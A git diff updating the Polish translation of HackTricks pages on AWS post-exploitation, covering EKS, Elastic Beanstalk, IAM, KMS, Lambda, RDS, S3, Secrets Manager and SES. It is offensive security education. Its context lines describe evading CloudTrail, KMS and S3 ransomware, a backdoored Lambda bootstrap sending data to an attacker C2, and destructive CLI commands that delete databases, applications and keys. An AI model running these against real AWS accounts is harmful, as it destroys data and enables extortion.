- Nie tak łatwy sposób:
-Jeśli możesz **uzyskać token** za pomocą **`aws eks get-token --name `**, ale nie masz uprawnień do uzyskania informacji o klastrze (describeCluster), możesz **przygotować własny `~/.kube/config`**. Jednak mając token, nadal potrzebujesz **url endpointu do połączenia** (jeśli udało ci się uzyskać token JWT z podu, przeczytaj [tutaj](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) oraz **nazwy klastra**.
+Jeśli możesz **uzyskać token** za pomocą **`aws eks get-token --name `**, ale nie masz uprawnień do uzyskania informacji o klastrze (describeCluster), możesz **przygotować własny `~/.kube/config`**. Jednak mając token, nadal potrzebujesz **url endpoint do połączenia** (jeśli udało ci się uzyskać token JWT z podu, przeczytaj [tutaj](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) oraz **nazwę klastra**.
W moim przypadku nie znalazłem informacji w logach CloudWatch, ale **znalazłem je w LaunchTemplates userData** oraz w **maszynach EC2 w userData również**. Możesz łatwo zobaczyć te informacje w **userData**, na przykład w następnym przykładzie (nazwa klastra to cluster-name):
```bash
@@ -72,7 +72,7 @@ provideClusterInfo: false
### Z AWS do Kubernetes
-**Twórca** **klastra EKS** **ZAWSZE** będzie mógł uzyskać dostęp do części klastra kubernetes w grupie **`system:masters`** (administrator k8s). W momencie pisania tego tekstu **nie ma bezpośredniego sposobu** na ustalenie **kto stworzył** klaster (możesz sprawdzić CloudTrail). I **nie ma sposobu** na **usunięcie** tego **przywileju**.
+**Twórca** **klastra EKS** **ZAWSZE** będzie mógł uzyskać dostęp do części klastra kubernetes w grupie **`system:masters`** (admin k8s). W momencie pisania tego tekstu **nie ma bezpośredniego sposobu** na ustalenie **kto stworzył** klaster (możesz sprawdzić CloudTrail). I **nie ma sposobu** na **usunięcie** tego **przywileju**.
Sposobem na przyznanie **dostępu do K8s dla większej liczby użytkowników lub ról AWS IAM** jest użycie **configmap** **`aws-auth`**.
@@ -93,12 +93,12 @@ Dekodując token JWT, uzyskujemy identyfikator klastra oraz region. 
with open('out.txt', 'w') as f:
f.write('\n'.join(result))
```
-Potem z wfuzz
+Następnie z wfuzz
```bash
wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com
```
@@ -123,21 +123,21 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws
### Ominięcie CloudTrail
-Jeśli atakujący uzyska poświadczenia AWS z **uprawnieniami do EKS**. Jeśli atakujący skonfiguruje własny **`kubeconfig`** (bez wywoływania **`update-kubeconfig`**) jak wyjaśniono wcześniej, **`get-token`** nie generuje logów w CloudTrail, ponieważ nie wchodzi w interakcję z API AWS (po prostu tworzy token lokalnie).
+Jeśli atakujący uzyska poświadczenia AWS z **uprawnieniami do EKS**. Jeśli atakujący skonfiguruje własny **`kubeconfig`** (bez wywoływania **`update-kubeconfig`**) jak wcześniej wyjaśniono, **`get-token`** nie generuje logów w Cloudtrail, ponieważ nie wchodzi w interakcję z API AWS (po prostu tworzy token lokalnie).
Więc kiedy atakujący rozmawia z klastrem EKS, **cloudtrail nie zarejestruje nic związanego z użytkownikiem, który został skradziony i uzyskuje do niego dostęp**.
-Zauważ, że **klaster EKS może mieć włączone logi**, które zarejestrują ten dostęp (chociaż domyślnie są one wyłączone).
+Zauważ, że **klaster EKS może mieć włączone logi**, które zarejestrują ten dostęp (chociaż domyślnie są wyłączone).
### EKS Okup?
Domyślnie **użytkownik lub rola, która utworzyła** klaster **ZAWSZE będzie miała uprawnienia administratora** do klastra. I to jedyny "bezpieczny" dostęp, jaki AWS będzie miał do klastra Kubernetes.
-Więc, jeśli **atakujący przejmie kontrolę nad klastrem używając Fargate** i **usunie wszystkich innych administratorów** oraz **usunie użytkownika/rolę AWS, która utworzyła** klaster, ~~atakujący mógłby **zażądać okupu za klaster**~~**r**.
+Więc, jeśli **atakujący przejmie kontrolę nad klastrem używając fargate** i **usunie wszystkich innych administratorów** oraz **usunie użytkownika/rolę AWS, która utworzyła** klaster, ~~atakujący mógłby **zażądać okupu za klaster**~~**r**.
> [!TIP]
> Zauważ, że jeśli klaster używał **maszyn EC2**, możliwe byłoby uzyskanie uprawnień administratora z **Węzła** i odzyskanie klastra.
>
-> W rzeczywistości, jeśli klaster używa Fargate, możesz użyć węzłów EC2 lub przenieść wszystko do EC2 do klastra i odzyskać go, uzyskując dostęp do tokenów w węźle.
+> W rzeczywistości, jeśli klaster używa Fargate, możesz EC2 węzły lub przenieść wszystko do EC2 do klastra i odzyskać go, uzyskując dostęp do tokenów w węźle.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
index dc3a21951..137be38b7 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
@@ -15,7 +15,7 @@ Aby uzyskać więcej informacji:
> [!NOTE]
> TODO: Sprawdź, czy wymagane są dodatkowe uprawnienia
-Atakujący z uprawnieniem `elasticbeanstalk:DeleteApplicationVersion` może **usunąć istniejącą wersję aplikacji**. Ta akcja może zakłócić procesy wdrażania aplikacji lub spowodować utratę konkretnych wersji aplikacji, jeśli nie są one zabezpieczone.
+Napastnik z uprawnieniem `elasticbeanstalk:DeleteApplicationVersion` może **usunąć istniejącą wersję aplikacji**. Działanie to może zakłócić procesy wdrażania aplikacji lub spowodować utratę konkretnych wersji aplikacji, jeśli nie są one zabezpieczone.
```bash
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
```
@@ -37,7 +37,7 @@ aws elasticbeanstalk terminate-environment --environment-name my-existing-env
> [!NOTE]
> TODO: Sprawdź, czy wymagane są dodatkowe uprawnienia
-Napastnik z uprawnieniem `elasticbeanstalk:DeleteApplication` może **usunąć całą aplikację Elastic Beanstalk**, w tym wszystkie jej wersje i środowiska. Ta akcja może spowodować znaczne straty zasobów aplikacji i konfiguracji, jeśli nie są one zabezpieczone.
+Napastnik z uprawnieniem `elasticbeanstalk:DeleteApplication` może **usunąć całą aplikację Elastic Beanstalk**, w tym wszystkie jej wersje i środowiska. Działanie to może spowodować znaczne straty zasobów aplikacji i konfiguracji, jeśli nie są one zabezpieczone.
```bash
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
```
@@ -46,9 +46,9 @@ aws elasticbeanstalk delete-application --application-name my-app --terminate-en
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
> [!NOTE]
-> TODO: Sprawdzić, czy wymagane są dodatkowe uprawnienia
+> TODO: Sprawdź, czy wymagane są dodatkowe uprawnienia
-Napastnik z uprawnieniem `elasticbeanstalk:SwapEnvironmentCNAMEs` może **zamienić rekordy CNAME dwóch środowisk Elastic Beanstalk**, co może spowodować, że użytkownicy otrzymają niewłaściwą wersję aplikacji lub prowadzić do niezamierzonego zachowania.
+Atakujący z uprawnieniem `elasticbeanstalk:SwapEnvironmentCNAMEs` może **zamienić rekordy CNAME dwóch środowisk Elastic Beanstalk**, co może spowodować, że użytkownicy otrzymają niewłaściwą wersję aplikacji lub prowadzić do niezamierzonego zachowania.
```bash
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
```
@@ -57,9 +57,9 @@ aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
> [!NOTE]
-> TODO: Przetestować, czy wymagane są dodatkowe uprawnienia
+> TODO: Sprawdź, czy wymagane są dodatkowe uprawnienia
-Napastnik z uprawnieniami `elasticbeanstalk:AddTags` i `elasticbeanstalk:RemoveTags` może **dodawać lub usuwać tagi na zasobach Elastic Beanstalk**. Działanie to może prowadzić do niewłaściwej alokacji zasobów, rozliczeń lub zarządzania zasobami.
+Atakujący z uprawnieniami `elasticbeanstalk:AddTags` i `elasticbeanstalk:RemoveTags` może **dodawać lub usuwać tagi na zasobach Elastic Beanstalk**. Działanie to może prowadzić do niewłaściwej alokacji zasobów, rozliczeń lub zarządzania zasobami.
```bash
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
index a8c19a5d4..89d94121c 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
@@ -14,11 +14,11 @@ Aby uzyskać więcej informacji na temat dostępu IAM:
Jeśli **zezwolisz zewnętrznemu kontu (A)** na dostęp do **roli** w swoim koncie, prawdopodobnie będziesz miał **0 widoczności** na to, **kto dokładnie może uzyskać dostęp do tego zewnętrznego konta**. To jest problem, ponieważ jeśli inne zewnętrzne konto (B) może uzyskać dostęp do zewnętrznego konta (A), istnieje możliwość, że **B również będzie mogło uzyskać dostęp do twojego konta**.
-Dlatego, zezwalając zewnętrznemu kontu na dostęp do roli w swoim koncie, można określić `ExternalId`. To jest "tajny" ciąg, który zewnętrzne konto (A) **musi określić**, aby **przyjąć rolę w twojej organizacji**. Ponieważ **zewnętrzne konto B nie zna tego ciągu**, nawet jeśli ma dostęp do A, **nie będzie mogło uzyskać dostępu do twojej roli**.
+Dlatego, zezwalając zewnętrznemu kontu na dostęp do roli w swoim koncie, można określić `ExternalId`. To jest "tajny" ciąg, który zewnętrzne konto (A) **musi określić**, aby **przyjąć rolę w twojej organizacji**. Ponieważ **zewnętrzne konto B nie będzie znało tego ciągu**, nawet jeśli ma dostęp do A, **nie będzie mogło uzyskać dostępu do twojej roli**.
-Należy jednak zauważyć, że ten `ExternalId` "tajny" **nie jest tajemnicą**, każdy, kto może **przeczytać politykę przyjmowania ról IAM, będzie mógł go zobaczyć**. Ale tak długo, jak zewnętrzne konto A to zna, a zewnętrzne konto **B tego nie zna**, **zapobiega to nadużywaniu A przez B w celu uzyskania dostępu do twojej roli**.
+Należy jednak zauważyć, że ten `ExternalId` "tajny" **nie jest tajemnicą**, każdy, kto może **przeczytać politykę przyjmowania ról IAM, będzie mógł to zobaczyć**. Ale tak długo, jak zewnętrzne konto A to zna, a zewnętrzne konto **B tego nie zna**, to **zapobiega B nadużywaniu A, aby uzyskać dostęp do twojej roli**.
Przykład:
```json
@@ -41,7 +41,7 @@ Przykład:
> [!WARNING]
> Aby atakujący mógł wykorzystać zdezorientowanego zastępcę, musi w jakiś sposób ustalić, czy podmioty bieżącego konta mogą udawać role w innych kontach.
-### Nieoczekiwane Zaufania
+### Nieoczekiwane zaufania
#### Wildcard jako podmiot
```json
@@ -62,7 +62,7 @@ Ta polityka **zezwala wszystkim AWS** na przyjęcie roli.
"Resource": "arn:aws:lambda:000000000000:function:foo"
}
```
-Ta polityka **zezwala na każdą konto** na skonfigurowanie swojego apigateway, aby wywołać tę Lambdę.
+Ta polityka **zezwala na każdą konto** na skonfigurowanie swojego apigateway do wywołania tego Lambda.
#### S3 jako główny
```json
@@ -73,7 +73,7 @@ Ta polityka **zezwala na każdą konto** na skonfigurowanie swojego apigateway,
}
}
```
-Jeśli kubeł S3 jest podany jako główny, ponieważ kubełki S3 nie mają identyfikatora konta, jeśli **usunięto twój kubeł, a atakujący utworzył** go na swoim koncie, mogliby to wykorzystać.
+Jeśli kubeł S3 jest podany jako główny, ponieważ kubełki S3 nie mają identyfikatora konta, jeśli **usunąłeś swój kubeł, a atakujący go stworzył** na swoim koncie, mogliby to wykorzystać.
#### Nieobsługiwane
```json
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
index ec213a02f..1e6178dd2 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
@@ -38,7 +38,7 @@ aws kms decrypt \
--query Plaintext | base64 \
--decode
```
-- Używanie klucza **asymetrycznego**:
+- Używając klucza **asymetrycznego**:
```bash
# Encrypt data
aws kms encrypt \
@@ -65,7 +65,7 @@ Atakujący z uprzywilejowanym dostępem do KMS mógłby zmodyfikować politykę
Wtedy użytkownicy legalnego konta nie będą mogli uzyskać dostępu do żadnych informacji z jakiejkolwiek usługi, która została zaszyfrowana tymi kluczami, tworząc łatwy, ale skuteczny ransomware na koncie.
> [!WARNING]
-> Zauważ, że **klucze zarządzane przez AWS nie są dotknięte** tym atakiem, tylko **klucze zarządzane przez klienta**.
+> Zauważ, że **zarządzane przez AWS klucze nie są dotknięte** tym atakiem, tylko **klucze zarządzane przez klienta**.
> Zauważ również potrzebę użycia parametru **`--bypass-policy-lockout-safety-check`** (brak tej opcji w konsoli internetowej sprawia, że ten atak jest możliwy tylko z CLI).
```bash
@@ -92,7 +92,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
}
```
> [!CAUTION]
-> Zauważ, że jeśli zmienisz tę politykę i przyznasz dostęp tylko zewnętrznemu kontu, a następnie z tego zewnętrznego konta spróbujesz ustawić nową politykę, aby **przywrócić dostęp do oryginalnego konta, nie będziesz w stanie**.
+> Zauważ, że jeśli zmienisz tę politykę i przyznasz dostęp tylko do zewnętrznego konta, a następnie z tego zewnętrznego konta spróbujesz ustawić nową politykę, aby **przywrócić dostęp do oryginalnego konta, nie będziesz w stanie**.
@@ -103,7 +103,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
Istnieje inny sposób na przeprowadzenie globalnego KMS Ransomware, który obejmowałby następujące kroki:
- Utwórz nowy **klucz z materiałem klucza** importowanym przez atakującego
-- **Ponownie zaszyfruj starsze dane** zaszyfrowane poprzednią wersją nowym.
+- **Ponownie zaszyfruj starsze dane** zaszyfrowane poprzednią wersją nową.
- **Usuń klucz KMS**
- Teraz tylko atakujący, który ma oryginalny materiał klucza, mógłby odszyfrować zaszyfrowane dane
@@ -117,8 +117,8 @@ aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
```
-> [!CAUTION]
-> Zauważ, że AWS teraz **zapobiega wykonywaniu poprzednich działań z konta krzyżowego:**
+> [!OSTRZEŻENIE]
+> Zauważ, że AWS teraz **zapobiega wykonywaniu poprzednich działań z konta zewnętrznego:**
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
index 09d7d25f4..5e82c21f1 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
### Kradzież Żądań URL Lambda Innych Użytkowników
-Jeśli atakującemu uda się w jakiś sposób uzyskać RCE wewnątrz Lambdy, będzie mógł ukraść żądania HTTP innych użytkowników do lambdy. Jeśli żądania zawierają wrażliwe informacje (ciasteczka, dane uwierzytelniające...), będzie mógł je ukraść.
+Jeśli atakującemu uda się w jakiś sposób uzyskać RCE wewnątrz Lambdy, będzie mógł ukraść inne żądania HTTP użytkowników do lambdy. Jeśli żądania zawierają wrażliwe informacje (ciasteczka, dane uwierzytelniające...), będzie mógł je ukraść.
{{#ref}}
aws-warm-lambda-persistence.md
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
index e1c66f0d1..2df03d3b8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -14,7 +14,7 @@
3. **bootstrap.py** ma pętlę, która pobiera wywołania z procesu init i wywołuje kod użytkownika, aby je obsłużyć (**`/next`**).
4. Na koniec **bootstrap.py** wysyła do init **odpowiedź**
-Zauważ, że bootstrap ładuje kod użytkownika jako moduł, więc wszelkie wykonania kodu realizowane przez kod użytkownika odbywają się w tym procesie.
+Zauważ, że bootstrap ładuje kod użytkownika jako moduł, więc każde wykonanie kodu przez kod użytkownika odbywa się w tym procesie.
## Kradzież Żądań Lambda
@@ -26,14 +26,14 @@ To proste zadanie do osiągnięcia, ponieważ kod użytkownika jest wykonywany p
- Żądanie musi być wysłane do **`/${invoke-id}/response`**
- invoke-id można uzyskać ze stosu legitnego procesu **`bootstrap.py`** za pomocą modułu [**inspect**](https://docs.python.org/3/library/inspect.html) w Pythonie (jak [proponowano tutaj](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) lub po prostu ponownie żądając go do **`/2018-06-01/runtime/invocation/next`** (jak [proponowano tutaj](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
- Wykonać złośliwy **`boostrap.py`**, który obsłuży następne wywołania
-- Dla celów stealth można wysłać parametry wywołań lambda do kontrolowanego przez atakującego C2, a następnie obsługiwać żądania jak zwykle.
+- Dla celów ukrycia można wysłać parametry wywołań lambda do kontrolowanego przez atakującego C2, a następnie obsługiwać żądania jak zwykle.
- Do tego ataku wystarczy pobrać oryginalny kod **`bootstrap.py`** z systemu lub [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), dodać złośliwy kod i uruchomić go z bieżącego wywołania lambda.
### Kroki Ataku
-1. Znaleźć **RCE** podatność.
-2. Wygenerować **złośliwy** **bootstrap** (np. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
-3. **Wykonać** złośliwy bootstrap.
+1. Znajdź podatność **RCE**.
+2. Wygeneruj **złośliwy** **bootstrap** (np. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
+3. **Wykonaj** złośliwy bootstrap.
Możesz łatwo wykonać te działania, uruchamiając:
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
index 64d85126b..702805cc6 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
@@ -21,7 +21,7 @@ Lub **wyeksportuj migawkę do AMI w EC2** i postępuj zgodnie z krokami typowej
### Uzyskaj dostęp do wrażliwych informacji
-Sprawdź opcje privesc Lightsail, aby poznać różne sposoby uzyskania dostępu do potencjalnych wrażliwych informacji:
+Sprawdź opcje privesc w Lightsail, aby poznać różne sposoby uzyskania dostępu do potencjalnych wrażliwych informacji:
{{#ref}}
../aws-privilege-escalation/aws-lightsail-privesc.md
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
index 1143e21eb..240434ba0 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - Organizations Post Exploitation
+# AWS - Organizacje Po Eksploatacji
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,7 +10,7 @@ Aby uzyskać więcej informacji na temat AWS Organizations, sprawdź:
../aws-services/aws-organizations-enum.md
{{#endref}}
-### Opuszczenie organizacji
+### Opuszczenie Organizacji
```bash
aws organizations deregister-account --account-id --region
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
index 162792e1e..081744246 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
@@ -40,7 +40,7 @@ aws rds modify-db-instance \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
-Napastnik z tymi uprawnieniami mógłby **utworzyć migawkę DB** i uczynić ją **dostępną publicznie**. Następnie mógłby po prostu utworzyć w swoim własnym koncie DB z tej migawki.
+Napastnik z tymi uprawnieniami mógłby **utworzyć migawkę DB** i uczynić ją **publicznie** **dostępną**. Następnie mógłby po prostu utworzyć w swoim własnym koncie DB z tej migawki.
Jeśli napastnik **nie ma `rds:CreateDBSnapshot`**, nadal mógłby uczynić **inne** utworzone migawki **publicznymi**.
```bash
@@ -61,7 +61,7 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
### `rds:DeleteDBInstance`
-Napastnik z tymi uprawnieniami może **spowodować DoS istniejących instancji RDS**.
+Napastnik z tymi uprawnieniami może **wykonać DoS na istniejących instancjach RDS**.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
index 6a69d87ed..18aece979 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
@@ -17,17 +17,17 @@ Czasami będziesz w stanie znaleźć wrażliwe informacje w odczytywalnych bucke
### Pivoting
Różne platformy mogą używać S3 do przechowywania wrażliwych zasobów.\
-Na przykład, **airflow** może przechowywać **kod DAG** w tym miejscu, lub **strony internetowe** mogą być bezpośrednio serwowane z S3. Atakujący z uprawnieniami do zapisu może **zmodyfikować kod** z bucketa, aby **pivotować** do innych platform lub **przejąć konta**, modyfikując pliki JS.
+Na przykład, **airflow** może przechowywać **kod DAGów** tam, lub **strony internetowe** mogą być bezpośrednio serwowane z S3. Atakujący z uprawnieniami do zapisu może **zmodyfikować kod** z bucketa, aby **pivotować** do innych platform lub **przejąć konta**, modyfikując pliki JS.
-### S3 Ransomware
+### Ransomware S3
-W tym scenariuszu **atakujący tworzy klucz KMS (Key Management Service) w swoim własnym koncie AWS** lub innym skompromitowanym koncie. Następnie udostępnia ten **klucz każdemu na świecie**, co pozwala każdemu użytkownikowi AWS, roli lub koncie na szyfrowanie obiektów za pomocą tego klucza. Jednak obiekty nie mogą być odszyfrowane.
+W tym scenariuszu **atakujący tworzy klucz KMS (Key Management Service) w swoim własnym koncie AWS** lub innym skompromitowanym koncie. Następnie udostępnia ten **klucz każdemu na świecie**, umożliwiając każdemu użytkownikowi AWS, roli lub koncie szyfrowanie obiektów za pomocą tego klucza. Jednak obiekty nie mogą być odszyfrowane.
-Atakujący identyfikuje docelowy **bucket S3 i uzyskuje dostęp na poziomie zapisu** do niego, korzystając z różnych metod. Może to być spowodowane słabą konfiguracją bucketa, która ujawnia go publicznie, lub atakujący uzyskuje dostęp do samego środowiska AWS. Atakujący zazwyczaj celuje w buckety, które zawierają wrażliwe informacje, takie jak dane osobowe (PII), chronione informacje zdrowotne (PHI), logi, kopie zapasowe i inne.
+Atakujący identyfikuje docelowy **bucket S3 i uzyskuje dostęp na poziomie zapisu** do niego, używając różnych metod. Może to być spowodowane słabą konfiguracją bucketa, która ujawnia go publicznie, lub atakujący uzyskuje dostęp do samego środowiska AWS. Atakujący zazwyczaj celuje w buckety, które zawierają wrażliwe informacje, takie jak dane osobowe (PII), chronione informacje zdrowotne (PHI), logi, kopie zapasowe i inne.
-Aby określić, czy bucket może być celem dla ransomware, atakujący sprawdza jego konfigurację. Obejmuje to weryfikację, czy **S3 Object Versioning** jest włączone i czy **wieloskładnikowe uwierzytelnianie usuwania (MFA delete) jest włączone**. Jeśli wersjonowanie obiektów nie jest włączone, atakujący może kontynuować. Jeśli wersjonowanie obiektów jest włączone, ale MFA delete jest wyłączone, atakujący może **wyłączyć wersjonowanie obiektów**. Jeśli zarówno wersjonowanie obiektów, jak i MFA delete są włączone, staje się to trudniejsze dla atakującego, aby przeprowadzić ransomware na tym konkretnym buckecie.
+Aby określić, czy bucket może być celem ransomware, atakujący sprawdza jego konfigurację. Obejmuje to weryfikację, czy **Wersjonowanie Obiektów S3** jest włączone i czy **usunięcie z uwierzytelnieniem wieloskładnikowym (MFA delete) jest włączone**. Jeśli Wersjonowanie Obiektów nie jest włączone, atakujący może kontynuować. Jeśli Wersjonowanie Obiektów jest włączone, ale MFA delete jest wyłączone, atakujący może **wyłączyć Wersjonowanie Obiektów**. Jeśli zarówno Wersjonowanie Obiektów, jak i MFA delete są włączone, staje się to trudniejsze dla atakującego, aby przeprowadzić ransomware na tym konkretnym buckecie.
-Korzystając z API AWS, atakujący **zastępuje każdy obiekt w buckecie zaszyfrowaną kopią za pomocą swojego klucza KMS**. To skutecznie szyfruje dane w buckecie, czyniąc je niedostępnymi bez klucza.
+Używając API AWS, atakujący **zastępuje każdy obiekt w buckecie zaszyfrowaną kopią za pomocą swojego klucza KMS**. To skutecznie szyfruje dane w buckecie, czyniąc je niedostępnymi bez klucza.
Aby wywrzeć dodatkową presję, atakujący planuje usunięcie klucza KMS używanego w ataku. Daje to celowi 7-dniowy okres na odzyskanie danych przed usunięciem klucza i trwałą utratą danych.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
index f1649bc76..606eea309 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
@@ -10,13 +10,13 @@ Aby uzyskać więcej informacji, sprawdź:
../aws-services/aws-secrets-manager-enum.md
{{#endref}}
-### Read Secrets
+### Odczyt sekretów
**Sekrety same w sobie są wrażliwymi informacjami**, [sprawdź stronę privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md), aby dowiedzieć się, jak je odczytać.
-### DoS Change Secret Value
+### DoS Zmiana wartości sekretu
-Zmieniając wartość sekretną, możesz **DoS cały system, który zależy od tej wartości.**
+Zmieniając wartość sekretu, możesz **DoS cały system, który zależy od tej wartości.**
> [!WARNING]
> Zauważ, że poprzednie wartości są również przechowywane, więc łatwo jest po prostu wrócić do poprzedniej wartości.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
index 802c38dae..421c87488 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - SES Post Exploitation
+# AWS - SES Po Eksploatacji
{{#include ../../../banners/hacktricks-training.md}}
@@ -17,24 +17,18 @@ Wyślij e-mail.
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
```
-Still to test.
-
### `ses:SendRawEmail`
Wyślij e-mail.
```bash
aws ses send-raw-email --raw-message file://message.json
```
-Still to test.
-
### `ses:SendTemplatedEmail`
-Wyślij e-mail oparty na szablonie.
+Wyślij e-mail na podstawie szablonu.
```bash
aws ses send-templated-email --source --destination --template
```
-Still to test.
-
### `ses:SendBulkTemplatedEmail`
Wyślij e-mail do wielu odbiorców
@@ -49,7 +43,7 @@ aws sesv2 send-bulk-email --default-content --bulk-email-entries
```
### `ses:SendBounce`
-Wyślij **wiadomość zwrotną** na podstawie otrzymanej wiadomości e-mail (wskazując, że wiadomość e-mail nie mogła zostać odebrana). Można to zrobić **do 24 godzin po otrzymaniu** wiadomości e-mail.
+Wyślij **wiadomość zwrotną** na otrzymaną wiadomość e-mail (wskazując, że wiadomość nie mogła być odebrana). Można to zrobić **do 24 godzin po otrzymaniu** wiadomości e-mail.
```bash
aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list
```
@@ -60,6 +54,6 @@ To wyśle spersonalizowany e-mail weryfikacyjny. Możesz potrzebować również
aws ses send-custom-verification-email --email-address --template-name
aws sesv2 send-custom-verification-email --email-address --template-name
```
-Still to test.
+Nadal do przetestowania.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
index a21816ecf..4e8336bc4 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji:
### Zakłócanie wiadomości
